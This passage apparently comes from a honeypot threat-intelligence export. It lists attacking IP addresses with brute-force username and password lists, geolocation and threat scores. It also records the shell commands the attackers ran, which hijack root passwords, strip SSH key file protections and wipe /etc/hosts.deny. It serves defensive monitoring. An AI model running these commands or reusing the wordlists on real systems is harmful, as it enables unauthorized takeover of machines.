        "ec2-user",
        "ftp-test",
        "ftpuser",
        "git",
        "gitlab",
        "kafka",
        "linux",
        "odoo",
        "oracle",
        "pcguest"
      ],
      "passwords_attempted": [
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "P@ssw0rd",
        "admin",
        "!@#123!@#",
        "1",
        "123123",
        "123456",
        "12345678",
        "123456abc",
        "123qwe",
        "123qweasd",
        "159753",
        "1q2w3e4r5t6y",
        "1qaz!QAZ",
        "2017",
        "2022",
        "786786786",
        "789456123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"1qaz!QAZ\\nfYkSQkdRVNuy\\nfYkSQkdRVNuy\\n\"|passwd",
        "echo \"root:ZkeLB6FQXt5E\"|chpasswd|bash",
        "echo -e \"1qaz!QAZ\\nfYkSQkdRVNuy\\nfYkSQkdRVNuy\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Lisbon",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 30.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 521,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T18:36:40.586000+00:00",
        "last_seen_30d": "2026-05-20T08:34:04.180000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 392,
        "Suricata": 129
      }
    },
    "201.249.192.30": {
      "attack_count": 385,
      "first_seen": "2026-05-24T19:52:20.614Z",
      "last_seen": "2026-05-28T23:58:05.637Z",
      "sessions": 52,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "deploy",
        "azure",
        "ceshi",
        "cloud",
        "common",
        "fernando",
        "ftpuser",
        "jonathan",
        "jupyter",
        "nodeuser",
        "python",
        "remoto",
        "s",
        "steam",
        "tina",
        "ubuntu",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "fjbdfdjkdsfs541544",
        ".",
        "0000",
        "09N1RCa1Hs31",
        "1",
        "123",
        "123qweQWE",
        "1qazXSW@",
        "2003",
        "Aa147258@",
        "Aaaa123456",
        "Abcd123456",
        "Abcd@1234",
        "P@ssw0rd",
        "Password123@",
        "Q1w2e3r4t5",
        "Wangsu@2017",
        "Yy123456"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\ncdWSIzqsta5g\\ncdWSIzqsta5g\\n\"|passwd",
        "echo \"root:kqJxN8EOzjvR\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\ncdWSIzqsta5g\\ncdWSIzqsta5g\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": null,
      "asn": 8048,
      "as_org": "CANTV Servicios, Venezuela",
      "threat_score": 40.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 27.1,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 518,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T19:52:20.614000+00:00",
        "last_seen_30d": "2026-05-28T23:59:14.337000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 385,
        "Suricata": 133
      }
    },
    "213.167.43.130": {
      "attack_count": 304,
      "first_seen": "2026-05-17T18:27:05.385Z",
      "last_seen": "2026-05-17T19:22:36.663Z",
      "sessions": 26,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123qweZXC",
        "135858",
        "2014qwer",
        "555",
        "aaa123",
        "aaaaaaaaaaaa",
        "admin2014",
        "asteriskftp",
        "elena123",
        "hj123",
        "morgan",
        "nowone",
        "pa123",
        "penguin",
        "pragma",
        "teddy",
        "testing123456",
        "transltr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:IFiEqTB3p0n7\"|chpasswd|bash",
        "echo \"root:Y4RIze9LBWfW\"|chpasswd|bash",
        "echo \"root:ZFUJgbuhFwO5\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 8905,
      "as_org": "Digit One LLC",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 365,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T18:27:05.385000+00:00",
        "last_seen_30d": "2026-05-17T19:23:45.348000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 304,
        "Suricata": 61
      }
    },
    "102.219.126.124": {
      "attack_count": 288,
      "first_seen": "2026-05-05T21:45:03.079Z",
      "last_seen": "2026-05-05T22:21:14.034Z",
      "sessions": 34,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "root",
        "deployer",
        "345gs5662d34",
        "node",
        "steam",
        "administrador",
        "digitalizacion",
        "ec2-user",
        "es",
        "ftptest",
        "ftpuser",
        "gitlab",
        "hadoopuser",
        "test",
        "tester",
        "user1"
      ],
      "passwords_attempted": [
        "12345678",
        "123qwe",
        "3245gs5662d34",
        "345gs5662d34",
        "!@#$%",
        "1",
        "123123",
        "123456",
        "1993",
        "1q2w3e4r",
        "1qaz@WSX",
        "Aa123456",
        "Passw0rd",
        "Passwd1",
        "Password",
        "abc@1234",
        "admin$$$",
        "admin1",
        "admin1122",
        "administrador1"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"1q2w3e4r\\nVvKUVxk0585F\\nVvKUVxk0585F\\n\"|passwd",
        "echo \"test\\nnANz6tk2WP9F\\nnANz6tk2WP9F\\n\"|passwd",
        "echo -e \"1q2w3e4r\\nVvKUVxk0585F\\nVvKUVxk0585F\"|passwd|bash",
        "echo -e \"test\\nnANz6tk2WP9F\\nnANz6tk2WP9F\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": null,
      "asn": 37468,
      "as_org": "ANGOLA-CABLES",
      "threat_score": 5.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 363,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:45:03.079000+00:00",
        "last_seen_30d": "2026-05-05T22:22:21.699000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 288,
        "Suricata": 75
      }
    },
    "163.227.230.54": {
      "attack_count": 271,
      "first_seen": "2026-05-23T00:14:53.931Z",
      "last_seen": "2026-05-23T01:07:12.854Z",
      "sessions": 19,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "consulta",
        "sammy",
        "francisco",
        "lab",
        "odoo13",
        "postgres",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "111",
        "123$",
        "123456789a",
        "12qwaszX",
        "2wsxXSW@",
        "Dx@123456",
        "Password1",
        "Wy123456",
        "lab@2025",
        "odoo13",
        "password1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nSEZv4vzoecJg\\nSEZv4vzoecJg\\n\"|passwd",
        "echo \"Password1\\ndrMV6FMC8pPd\\ndrMV6FMC8pPd\\n\"|passwd",
        "echo \"root:s8JKQjepaVSc\"|chpasswd|bash",
        "echo -e \"123456\\nSEZv4vzoecJg\\nSEZv4vzoecJg\"|passwd|bash",
        "echo -e \"Password1\\ndrMV6FMC8pPd\\ndrMV6FMC8pPd\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 150895,
      "as_org": "EZ TECHNOLOGY COMPANY LIMITED",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 316,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:14:53.931000+00:00",
        "last_seen_30d": "2026-05-23T01:08:19.174000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 271,
        "Suricata": 45
      }
    },
    "123.245.6.102": {
      "attack_count": 260,
      "first_seen": "2026-05-19T23:26:47.135Z",
      "last_seen": "2026-05-20T13:03:15.974Z",
      "sessions": 130,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 26.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 398,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T23:26:47.135000+00:00",
        "last_seen_30d": "2026-05-20T13:04:22.848000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 260,
        "Suricata": 138
      }
    },
    "161.132.50.250": {
      "attack_count": 219,
      "first_seen": "2026-05-03T09:55:38.091Z",
      "last_seen": "2026-05-03T10:29:49.830Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftpuser",
        "ubuntu",
        "345gs5662d34",
        "admin",
        "git1",
        "postgres",
        "test1",
        "test_dw",
        "user"
      ],
      "passwords_attempted": [
        "123456QQ",
        "123456a",
        "142536",
        "1qaz2wsx",
        "3245gs5662d34",
        "345gs5662d34",
        "8023",
        "Centos.123",
        "Master@2026",
        "Mm123456@",
        "Nokia@1234",
        "Pa$$wOrd",
        "Qq123456",
        "Qwer!234",
        "Root2026.",
        "Ubuntu123",
        "aA123456..",
        "abc.123.",
        "abc123#",
        "admin123@@@"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"ftpuser#\\nqsJebq6H93aF\\nqsJebq6H93aF\\n\"|passwd",
        "echo -e \"ftpuser#\\nqsJebq6H93aF\\nqsJebq6H93aF\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": null,
      "asn": 3132,
      "as_org": "Red Cientifica Peruana",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T09:55:38.091000+00:00",
        "last_seen_30d": "2026-05-03T10:30:54.124000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 69
      }
    },
    "113.221.25.109": {
      "attack_count": 184,
      "first_seen": "2026-05-18T21:50:28.289Z",
      "last_seen": "2026-05-19T06:11:29.508Z",
      "sessions": 92,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 278,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T21:50:28.289000+00:00",
        "last_seen_30d": "2026-05-19T06:12:31.989000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 184,
        "Suricata": 94
      }
    },
    "165.154.1.18": {
      "attack_count": 174,
      "first_seen": "2026-05-14T05:23:44.402Z",
      "last_seen": "2026-05-14T06:02:48.305Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "jellyfin",
        "345gs5662d34",
        "ai",
        "demo",
        "dev",
        "egmzkeaq",
        "lx",
        "mythtv",
        "nobody",
        "openwrt",
        "wahid",
        "web"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "3245gs5662d34",
        "345gs5662d34",
        "3edc!QAZ",
        "Aa123456789*",
        "P@ssw1rd",
        "Paris2025",
        "QWEasd123456",
        "Root.1234",
        "admin@123#",
        "asdasdasd",
        "cguD9AaqJ6jN",
        "jellyfin",
        "lx@123",
        "mythtv",
        "nobody",
        "pass123",
        "qwer1234",
        "rezareza"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"jellyfin\\nVaU8NGz93EZk\\nVaU8NGz93EZk\\n\"|passwd",
        "echo -e \"jellyfin\\nVaU8NGz93EZk\\nVaU8NGz93EZk\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 228,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T05:23:44.402000+00:00",
        "last_seen_30d": "2026-05-14T06:03:56.100000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 174,
        "Suricata": 54
      }
    },
    "170.106.119.118": {
      "attack_count": 168,
      "first_seen": "2026-05-17T20:27:55.779Z",
      "last_seen": "2026-05-17T20:54:47.732Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "123qweasdzxc",
        "1qaz@3edc",
        "3245gs5662d34",
        "345gs5662d34",
        "3lch3",
        "4444",
        "Admin!QAZXSW",
        "Husamaja",
        "Mustang",
        "VPS",
        "Voiture1@3",
        "asdfgh123",
        "bronco",
        "derby",
        "faster",
        "giselle",
        "lenovo",
        "pjg",
        "shashank",
        "viki123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:q79ZdnRLTUTm\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 132203,
      "as_org": "Tencent Building, Kejizhongyi Avenue",
      "threat_score": 19.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 217,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T20:27:55.779000+00:00",
        "last_seen_30d": "2026-05-17T20:55:51.200000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 168,
        "Suricata": 49
      }
    },
    "72.47.208.106": {
      "attack_count": 130,
      "first_seen": "2026-05-26T23:54:23.827Z",
      "last_seen": "2026-05-27T01:39:15.628Z",
      "sessions": 65,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 32.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 231,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T23:49:15.043000+00:00",
        "last_seen_30d": "2026-05-27T01:40:22.465000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 130,
        "Suricata": 101
      }
    },
    "94.183.159.116": {
      "attack_count": 128,
      "first_seen": "2026-05-25T12:23:11.128Z",
      "last_seen": "2026-05-25T15:48:13.215Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root",
        "cloud",
        "curl",
        "dev1",
        "firewall",
        "john",
        "lukas"
      ],
      "passwords_attempted": [
        "123456",
        "Qwertyu123",
        "Wangsu@2017",
        "dev1",
        "dodol123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "lukas",
        "password",
        "welltech12"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"lukas\\nKT11681xTfTO\\nKT11681xTfTO\\n\"|passwd",
        "echo -e \"lukas\\nKT11681xTfTO\\nKT11681xTfTO\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 172,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T12:23:11.128000+00:00",
        "last_seen_30d": "2026-05-25T15:49:18.092000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 128,
        "Suricata": 44
      }
    },
    "114.111.52.109": {
      "attack_count": 124,
      "first_seen": "2026-05-29T07:38:31.420Z",
      "last_seen": "2026-05-29T07:59:14.559Z",
      "sessions": 13,
      "ports": [],
      "usernames_attempted": [
        "root",
        "server",
        "345gs5662d34",
        "admin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "520520520",
        "5tgb%TGB",
        "Aa123456*",
        "Passw0rd@123",
        "Password123$",
        "QWEasd123!@#",
        "Test123!!",
        "abc123456",
        "fjbdfdjkdsfs541544",
        "qwe123123",
        "server"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"server\\nGT5IjvXQtb2M\\nGT5IjvXQtb2M\\n\"|passwd",
        "echo -e \"server\\nGT5IjvXQtb2M\\nGT5IjvXQtb2M\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 54994,
      "as_org": "Meteverse Limited.",
      "threat_score": 32.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.9,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 154,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T07:38:31.420000+00:00",
        "last_seen_30d": "2026-05-29T08:00:20.798000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
